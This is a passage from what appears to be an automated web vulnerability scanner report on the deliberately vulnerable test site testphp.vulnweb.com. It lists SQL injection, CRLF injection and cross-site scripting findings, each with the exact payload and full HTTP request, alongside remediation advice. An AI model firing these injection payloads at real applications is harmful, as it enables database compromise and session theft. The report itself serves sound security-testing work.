))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/
```

**/search.php**

Details

URL encoded GET input test was set to
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/

Tests performed:
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 6.078 s
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v) ... (line truncated)

Request headers

```
POST
/search.php?test=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0))
)v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/ HTTP/1.1
Content-Length: 11
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

searchFor=1
```

**/search.php**

Details

URL encoded GET input test was set to
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/

Tests performed:
- (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => 3.078 s
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v) ... (line truncated)

Request headers

```
POST
/search.php?test=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0))
)v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/ HTTP/1.1
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

goButton=go&searchFor=
```

**/secured/newuser.php**

Details

URL encoded POST input uuname was set to -1' OR 3*2*1=6 AND 000312=000312 --

Tests performed:
- -1' OR 2+312-312-1=0+0+0+1 -- => TRUE
- -1' OR 3+312-312-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+312-312) -- => FALSE
- -1' OR 3*2>(0+5+312-312) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000312=000312 -- => TRUE
- -1' OR 000312=000312 AND ... (line truncated)

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 235
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email
.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=webhrmsq&
uuname=-1'%20OR%203*2*1%3d6%20AND%20000312%3d000312%20--%20
```

**/sendcommand.php**

Details

URL encoded POST input cart_id was set to (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/

Tests performed:
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 6.063 s
- (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9) ... (line truncated)

Request headers

```
POST /sendcommand.php HTTP/1.1
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

cart_id=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%2
2%2b(select(0)from(select(sleep(0)))v)%2b%22*/
```

**/userinfo.php**

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000827=000827 --

Tests performed:
- -1' OR 2+827-827-1=0+0+0+1 -- => TRUE
- -1' OR 3+827-827-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+827-827) -- => FALSE
- -1' OR 3*2>(0+5+827-827) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000827=000827 -- => TRUE
- -1' OR 000827=000827 AND 3+1-1-1=1 - ... (line truncated)

Request headers

```
GET /userinfo.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000827=000827%20--%20
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/userinfo.php**

Details

URL encoded POST input pass was set to -1' OR 3*2*1=6 AND 000337=000337 --

Tests performed:
- -1' OR 2+337-337-1=0+0+0+1 -- => TRUE
- -1' OR 3+337-337-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+337-337) -- => FALSE
- -1' OR 3*2>(0+5+337-337) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000337=000337 -- => TRUE
- -1' OR 000337=000337 AND 3+ ... (line truncated)

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

pass=-1'%20OR%203*2*1%3d6%20AND%20000337%3d000337%20--%20&uname=twtwmbvi
```

**/userinfo.php**

Details

URL encoded POST input uname was set to -1' OR 3*2*1=6 AND 000425=000425 --

Tests performed:
- -1' OR 2+425-425-1=0+0+0+1 -- => TRUE
- -1' OR 3+425-425-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+425-425) -- => FALSE
- -1' OR 3*2>(0+5+425-425) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000425=000425 -- => TRUE
- -1' OR 000425=000425 AND 3 ... (line truncated)

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 80
Content-Type: application/x-www-form-urlencoded
```

```
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

pass=g00dPa%24%24w0rD&uname=-1'%20OR%203*2*1%3d6%20AND%20000425%3d000425%20--%20
```

## CRLF injection/HTTP response splitting (verified)

| | |
|---|---|
| Severity | **High** |
| Type | Validation |
| Reported by module | Scripting (CRLF_Injection.script) |

### Description

This script is possibly vulnerable to CRLF injection attacks.

HTTP headers have the structure "Key: Value", where each line is separated by the CRLF combination. If the user input is injected into the value section without properly escaping/removing CRLF characters it is possible to alter the HTTP headers structure.
HTTP Response Splitting is a new application attack technique which enables various new attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and cross-site scripting (XSS). The attacker sends a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response.

### Impact

Is it possible for a remote attacker to inject custom HTTP headers. For example, an attacker can inject session cookies or HTML code. This may conduct to vulnerabilities like XSS (cross-site scripting) or session fixation.

### Recommendation

You need to restrict CR(0x13) and LF(0x10) from the user input or properly encode the output in order to prevent the injection of custom HTTP headers.

### References

Whitepaper - HTTP Response Splitting
Introduction to HTTP Response Splitting
Acunetix CRLF Injection Attack

### Affected items

**/redir.php**

Details

URL encoded GET input r was set to ACUSTART ACUEND
Additional details:

Source file: /hj/var/www//redir.php line: 3

Request headers

```
GET /redir.php?r=ACUSTART%0d%0aACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Cross site scripting

| | |
|---|---|
| Severity | **High** |
| Type | Validation |
| Reported by module | Scripting (Remote_File_Inclusion_XSS.script) |

### Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

### Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

### Recommendation

Your script should filter metacharacters from user input.

### References

- The Cross Site Scripting Faq
- How To: Prevent Cross-Site Scripting in ASP.NET
- OWASP PHP Top 5
- Cross site scripting
- XSS Filter Evasion Cheat Sheet
- OWASP Cross Site Scripting
- VIDEO: How Cross-Site Scripting (XSS) Works
- Acunetix Cross Site Scripting Attack
- XSS Annihilation

### Affected items

**/showimage.php**

Details

URL encoded GET input file was set to http://testasp.vulnweb.com/t/xss.html?%00.jpg

Request headers

```
GET /showimage.php?file=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/showimage.php**

Details

URL encoded GET input file was set to http://testasp.vulnweb.com/t/xss.html?%00.jpg

Request headers

```
GET /showimage.php?file=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg&size=160
HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Cross site scripting (verified)

| | |
|---|---|
| Severity | **High** |
| Type | Validation |
| Reported by module | Scripting (XSS_in_URI.script) |

### Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

### Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

### Recommendation

Your script should filter metacharacters from user input.

### References

Acunetix Cross Site Scripting Attack
How To: Prevent Cross-Site Scripting in ASP.NET
OWASP PHP Top 5
Cross site scripting
XSS Filter Evasion Cheat Sheet
XSS Annihilation
OWASP Cross Site Scripting
VIDEO: How Cross-Site Scripting (XSS) Works
The Cross Site Scripting Faq

### Affected items

**/404.php**

Details

URI was set to 1<ScRiPt>prompt(914538)</ScRiPt>
The input is reflected inside a text element.

Request headers

```
GET /404.php?1<ScRiPt>prompt(914538)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/AJAX/showxml.php**

Details

Cookie input mycookie was set to 1'"()&%<ScRiPt >prompt(957889)</ScRiPt>

Request headers

```
GET /AJAX/showxml.php HTTP/1.1
Cookie: mycookie=1'"()&%<ScRiPt%20>prompt(957889)</ScRiPt>
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
```

```
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/comment.php**

Details

URL encoded POST input name was set to <your%20name%20here>'"()&%<ScRiPt >prompt(902267)</ScRiPt>

Request headers

```
POST /comment.php HTTP/1.1
Content-Length: 139
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

comment=1&name=<your%2520name%2520here>'%22()%26%25<ScRiPt%20>prompt(902267)</ScRiPt>&ph
paction=echo%20%24_POST%5bcomment%5d;&Submit=Submit
```

**/guestbook.php**

Details

Cookie input login was set to 1" onmouseover=prompt(925853) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /guestbook.php HTTP/1.1
Cookie: login=1"%20onmouseover=prompt(925853)%20bad="
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/guestbook.php**

Details

URL encoded POST input name was set to 1'"()&%<ScRiPt >prompt(974947)</ScRiPt>

Request headers

```
POST /guestbook.php HTTP/1.1
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

name=1'%22()%26%25<ScRiPt%20>prompt(974947)</ScRiPt>&text=1
```

**/guestbook.php**

Details

URL encoded POST input name was set to anonymous%20user'"()&%<ScRiPt >prompt(955985)</ScRiPt>

Request headers

```
POST /guestbook.php HTTP/1.1
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
```

```
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

name=anonymous%2520user'%22()%26%25<ScRiPt%20>prompt(955985)</ScRiPt>&submit=add%20messa
ge&text=1
```

**/guestbook.php**

Details

URL encoded POST input text was set to 1'"()&%<ScRiPt >prompt(957604)</ScRiPt>

Request headers

```
POST /guestbook.php HTTP/1.1
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

name=anonymous%20user&submit=add%20message&text=1'%22()%26%25<ScRiPt%20>prompt(957604)</
ScRiPt>
```

**/guestbook.php**

Details

URL encoded POST input text was set to 1'"()&%<ScRiPt >prompt(978601)</ScRiPt>

Request headers

```
POST /guestbook.php HTTP/1.1
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

name=1&text=1'%22()%26%25<ScRiPt%20>prompt(978601)</ScRiPt>
```

**/hpp/**

Details

URL encoded GET input pp was set to 12" onmouseover=prompt(940100) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /hpp/?pp=12%22%20onmouseover%3dprompt(940100)%20bad%3d%22 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/hpp/**

Details

URL encoded GET input pp was set to 12" onmouseover=prompt(999250) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /hpp/?pp=12%22%20onmouseover%3dprompt(999250)%20bad%3d%22 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/hpp/**

Details

URL encoded GET input pp was set to 12" onmouseover=prompt(918852) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /hpp/?pp=12%22%20onmouseover%3dprompt(918852)%20bad%3d%22 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/hpp/index.php**

Details

URL encoded GET input pp was set to 12" onmouseover=prompt(900809) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /hpp/index.php?pp=12%22%20onmouseover%3dprompt(900809)%20bad%3d%22 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/hpp/index.php**

Details

URL encoded GET input pp was set to 12" onmouseover=prompt(918059) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /hpp/index.php?pp=12%22%20onmouseover%3dprompt(918059)%20bad%3d%22 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/hpp/index.php**

Details

URL encoded GET input pp was set to 12" onmouseover=prompt(964465) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /hpp/index.php?pp=12%22%20onmouseover%3dprompt(964465)%20bad%3d%22 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/hpp/params.php**

Details

URL encoded GET input p was set to 1'"()&%<ScRiPt >prompt(923079)</ScRiPt>

Request headers

```
GET /hpp/params.php?aaaa/=1&p=1'%22()%26%25<ScRiPt%20>prompt(923079)</ScRiPt>&pp=1
HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/hpp/params.php**

Details

URL encoded GET input p was set to 1'"()&%<ScRiPt >prompt(990143)</ScRiPt>

Request headers

```
GET /hpp/params.php?p=1'%22()%26%25<ScRiPt%20>prompt(990143)</ScRiPt>&pp=1 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/hpp/params.php**

Details

URL encoded GET input pp was set to 1'"()&%<ScRiPt >prompt(917526)</ScRiPt>

Request headers

```
GET /hpp/params.php?aaaa/=1&p=1&pp=1'%22()%26%25<ScRiPt%20>prompt(917526)</ScRiPt>
HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/hpp/params.php**

Details

URL encoded GET input pp was set to 1'"()&%<ScRiPt >prompt(934701)</ScRiPt>

Request headers

```
GET /hpp/params.php?p=1&pp=1'%22()%26%25<ScRiPt%20>prompt(934701)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
```

```
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

URL encoded GET input artist was set to 3'"()&%<ScRiPt >prompt(978644)</ScRiPt>

Request headers

```
GET /listproducts.php?artist=3'%22()%26%25<ScRiPt%20>prompt(978644)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

URL encoded GET input cat was set to 1'"()&%<ScRiPt >prompt(903594)</ScRiPt>

Request headers

```
GET /listproducts.php?artist=1&cat=1'%22()%26%25<ScRiPt%20>prompt(903594)</ScRiPt>
HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

URL encoded GET input cat was set to 4'"()&%<ScRiPt >prompt(913920)</ScRiPt>

Request headers

```
GET /listproducts.php?cat=4'%22()%26%25<ScRiPt%20>prompt(913920)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/search.php**

Details

URL encoded POST input searchFor was set to the'"()&%<ScRiPt >prompt(927585)</ScRiPt>

Request headers

```
POST /search.php?test=query HTTP/1.1
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

goButton=go&searchFor=the'%22()%26%25<ScRiPt%20>prompt(927585)</ScRiPt>
```

**/search.php**

Details

URL encoded POST input searchFor was set to 1'"()&%<ScRiPt >prompt(952689)</ScRiPt>

Request headers

```
POST /search.php?test=1 HTTP/1.1
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

searchFor=1'%22()%26%25<ScRiPt%20>prompt(952689)</ScRiPt>
```

**/secured/newuser.php**

Details

URL encoded POST input uaddress was set to 3137%20Laguna%20Street'"()&%<ScRiPt >prompt(916360)</ScRiPt>

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 241
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

signup=signup&uaddress=3137%2520Laguna%2520Street'%22()%26%25<ScRiPt%20>prompt(916360)</
ScRiPt>&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00
dPa%24%24w0rD&uphone=555-666-0606&urname=dpdwdmxh&uuname=dpdwdmxh
```

**/secured/newuser.php**

Details

URL encoded POST input ucc was set to 4111111111111111'"()&%<ScRiPt >prompt(960220)</ScRiPt>

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111'%22()%26%25<ScRiPt%20
>prompt(960220)</ScRiPt>&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%
24%24w0rD&uphone=555-666-0606&urname=rlsbftgh&uuname=rlsbftgh
```

**/secured/newuser.php**

Details

URL encoded POST input uemail was set to sample%40email.tst'"()&%<ScRiPt >prompt(931949)</ScRiPt>

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 239
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
```

```
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%2540ema
il.tst'%22()%26%25<ScRiPt%20>prompt(931949)</ScRiPt>&upass=g00dPa%24%24w0rD&upass2=g00dP
a%24%24w0rD&uphone=555-666-0606&urname=hexuimmk&uuname=hexuimmk
```

**/secured/newuser.php**

Details

URL encoded POST input uphone was set to 555-666-0606'"()&%<ScRiPt >prompt(911667)</ScRiPt>

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email
.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606'%22()%26%25<ScRi
Pt%20>prompt(911667)</ScRiPt>&urname=ocpwrmom&uuname=ocpwrmom
```

**/secured/newuser.php**

Details

URL encoded POST input urname was set to ocpwrmom'"()&%<ScRiPt >prompt(952306)</ScRiPt>

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email
.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ocpwrmom'
%22()%26%25<ScRiPt%20>prompt(952306)</ScRiPt>&uuname=qmukxvyd
```

**/secured/newuser.php**

Details

URL encoded POST input uuname was set to qmukxvyd'"()&%<ScRiPt >prompt(939408)</ScRiPt>

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 237
